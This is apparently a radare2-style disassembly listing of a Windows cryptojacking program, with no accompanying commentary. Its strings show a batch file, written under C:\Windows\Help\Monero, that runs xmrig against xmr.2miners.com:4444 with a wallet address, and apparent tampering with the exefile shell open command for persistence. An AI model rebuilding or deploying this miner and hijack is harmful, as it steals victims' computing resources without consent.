movups xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], 7
mov qword [rbp - 0x34], 0
mov word [rbp - 0x2c], 0
mov byte [rbp - 0x2f], 1
mov byte [rbp - 0x2c], 1
mov byte [rbp - 0x2d], 1
lea rdx, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
lea rcx, [rbp - 0x50]
mov r8d, 0x23
call fcn.1400319f0
mov rsi, rdx
test rax, rax
jne 0x14000a2e2
mov qword [rbp + 0x1270], rsi
lea rdx, [0x1400c5553]
lea rcx, [rbp + 0x1270]
mov r8d, 0xb3
call fcn.14000ca80
mov rsi, rax
mov rcx, qword [rbp + 0x1270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x14000a341
mov qword [rbp + 0xfb0], rsi
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1270], rax
lea rax, case.0x140031a9b.114
mov qword [rbp + 0x1278], rax
lea rax, [0x1400c5628]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 1
lea rcx, [rbp - 0x50]
call fcn.140033780
lea rcx, [rbp + 0xfb0]
call fcn.140001030
lea rcx, str.exefileFailed_to_set_shell_open_command:__n
lea r8, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
mov edx, 7
mov r9d, 0x23
call fcn.1400023b0
test rax, rax
jne 0x14000a76b
lea rdx, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
lea rcx, [rbp - 0x50]
mov r8d, 0x23
call fcn.14003e3a0
lea rsi, [rbp + 0x1270]
lea rdx, [rbp - 0x50]
mov r8d, 0xc8
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.140036e90
cmp dword [rbp - 0x50], 2
je 0x14000a7a0
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xfe0], xmm3
movaps xmmword [rbp + 0xfd0], xmm2
movaps xmmword [rbp + 0xfc0], xmm1
movaps xmmword [rbp + 0xfb0], xmm0
lea rcx, [rbp + 0xfb0]
call fcn.1400085b0
lea rcx, [rbp + 0x1270]
call fcn.1400086f0
mov rdx, qword [rbp + 0x15a0]
test rdx, rdx
je 0x14000a40f
mov r8d, 1
mov rcx, qword [rbp + 0x15c8]
call fcn.140016900
mov rdx, qword [rbp + 0x1588]
test rdx, rdx
je 0x14000a42d
mov rcx, qword [rbp + 0x1590]
mov r8d, 1
call fcn.140016900
movaps xmm6, xmmword [rbp + 0x1640]
add rsp, 0x16d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [0x1400c54e0]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, str.description___is_deprecated__use_Display0
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp - 0x50]
call fcn.140033670
jmp 0x14000a260
mov qword [rbp - 0x50], r13
movzx eax, byte [0x140108f61]
mov ecx, 8
mov edx, 8
call fcn.1400168f0
test rax, rax
je 0x14000a895
mov rbx, rax
mov qword [rax], r13
mov rdx, qword [rbp + 0x15f0]
test rdx, rdx
jne 0x14000a15a
jmp 0x14000a168
lea rax, [0x1400c59e8]
mov qword [rbp + 0x1270], rax
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_write_to_file
lea r9, fcn.140001030
lea r8, [rbp + 0x1270]
mov edx, 0x17
call fcn.1400bfd10
jmp 0x14000a8a4
lea r8, [0x1400c5a50]
mov rdx, r13
call fcn.1400bfdb0
jmp 0x14000a8a4
call sub.KERNEL32.dll_GetLastError
mov dword [rbp + 0x1550], eax
lea rax, [rbp + 0x1550]
mov qword [rbp + 0xfb0], rax
lea rax, [fcn.140053b70]
mov qword [rbp + 0xfb8], rax
lea rax, str.0X_f_
mov qword [rbp + 0x1270], rax
mov qword [rbp + 0x1278], 1
mov qword [rbp + 0x1290], 0
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1280], rax
mov qword [rbp + 0x1288], 1
lea rdx, str.srcm.rs
lea rcx, [rbp + 0x1270]
call fcn.1400bf910
jmp 0x14000a8a4
lea r8, str.srcm.rs
mov edx, 0x1000
mov rcx, r13
call fcn.1400bfe30
jmp 0x14000a8a4
movups xmm0, xmmword [rbp + 0x1270]
movups xmm1, xmmword [rbp + 0x1280]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400c2758]
lea r9, [0x1400c27a8]
lea r8, [rbp - 0x50]
mov edx, 0x2b
call fcn.1400bfd10
jmp 0x14000a8a4
mov ecx, 1
call fcn.140036fc0
jmp 0x14000a8a4
mov ecx, 1
call fcn.140036fc0
jmp 0x14000a8a4
mov ecx, 1
call fcn.140036fc0
jmp 0x14000a8a4
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xfb0], rax
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400c5430]
lea r9, fcn.140001030
lea r8, [rbp + 0xfb0]
mov edx, 0x19
call fcn.1400bfd10
jmp 0x14000a8a4
movups xmm0, xmmword [rbp + 0x1270]
movups xmm1, xmmword [rbp + 0x1280]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400c2758]
lea r9, [0x1400c27a8]
lea r8, [rbp - 0x50]
mov edx, 0x2b
call fcn.1400bfd10
jmp 0x14000a8a4
movups xmm0, xmmword [rbp + 0x1270]
movups xmm1, xmmword [rbp + 0x1280]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400c2758]
lea r9, [0x1400c27a8]
lea r8, [rbp - 0x50]
mov edx, 0x2b
call fcn.1400bfd10
jmp 0x14000a8a4
call sub.KERNEL32.dll_GetLastError
mov dword [rbp + 0xfb0], eax
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1270], rax
lea rax, [fcn.140053b70]
mov qword [rbp + 0x1278], rax
lea rax, str.pW_f_
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 1
lea rdx, str.srcm.rs
lea rcx, [rbp - 0x50]
call fcn.1400bf910
jmp 0x14000a8a4
mov qword [rbp + 0x1270], rdx
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_create_file
lea r9, fcn.140001030
lea r8, [rbp + 0x1270]
mov edx, 0x15
call fcn.1400bfd10
jmp 0x14000a8a4
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_set
lea r9, fcn.140008f30
lea r8, [rbp - 0x50]
mov edx, 0xd
call fcn.1400bfd10
jmp 0x14000a8a4
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xfb0], rax
lea rax, str.srcm.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_execute_myfile.exe
lea r9, fcn.140001030
lea r8, [rbp + 0xfb0]
mov edx, 0x1c
call fcn.1400bfd10
jmp 0x14000a8a4
lea rax, [0x1400dd950]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400dd968]
lea r9, [0x1400dd998]
lea r8, [rbp - 0x50]
mov edx, 0x2b
call fcn.1400bfd10
jmp 0x14000a8a4
mov ecx, 8
mov edx, 8
call fcn.1400bf820
jmp 0x14000a8a4
mov ecx, 1
mov rdx, rbx
call fcn.1400bf820
jmp 0x14000a8a4
call fcn.14004e0a0
jmp 0x14000a8a4
call fcn.14004e0a0
jmp 0x14000a8a4
mov qword [rbp + 0x1630], rsi
mov ecx, 8
mov edx, 0x18
call fcn.1400bf820
jmp 0x14000a8a4
mov ecx, 8
mov edx, 0x18
call fcn.1400bf820
jmp 0x14000a8a4
mov ecx, 8
mov edx, 0x18
call fcn.1400bf820
jmp 0x14000a8a4
mov ecx, 8
mov edx, 8
call fcn.1400bf820
jmp 0x14000a8a4
mov ecx, 8
mov edx, 8
call fcn.1400bf820
jmp 0x14000a8a4
mov ecx, 8
mov edx, 8
call fcn.1400bf820
ud2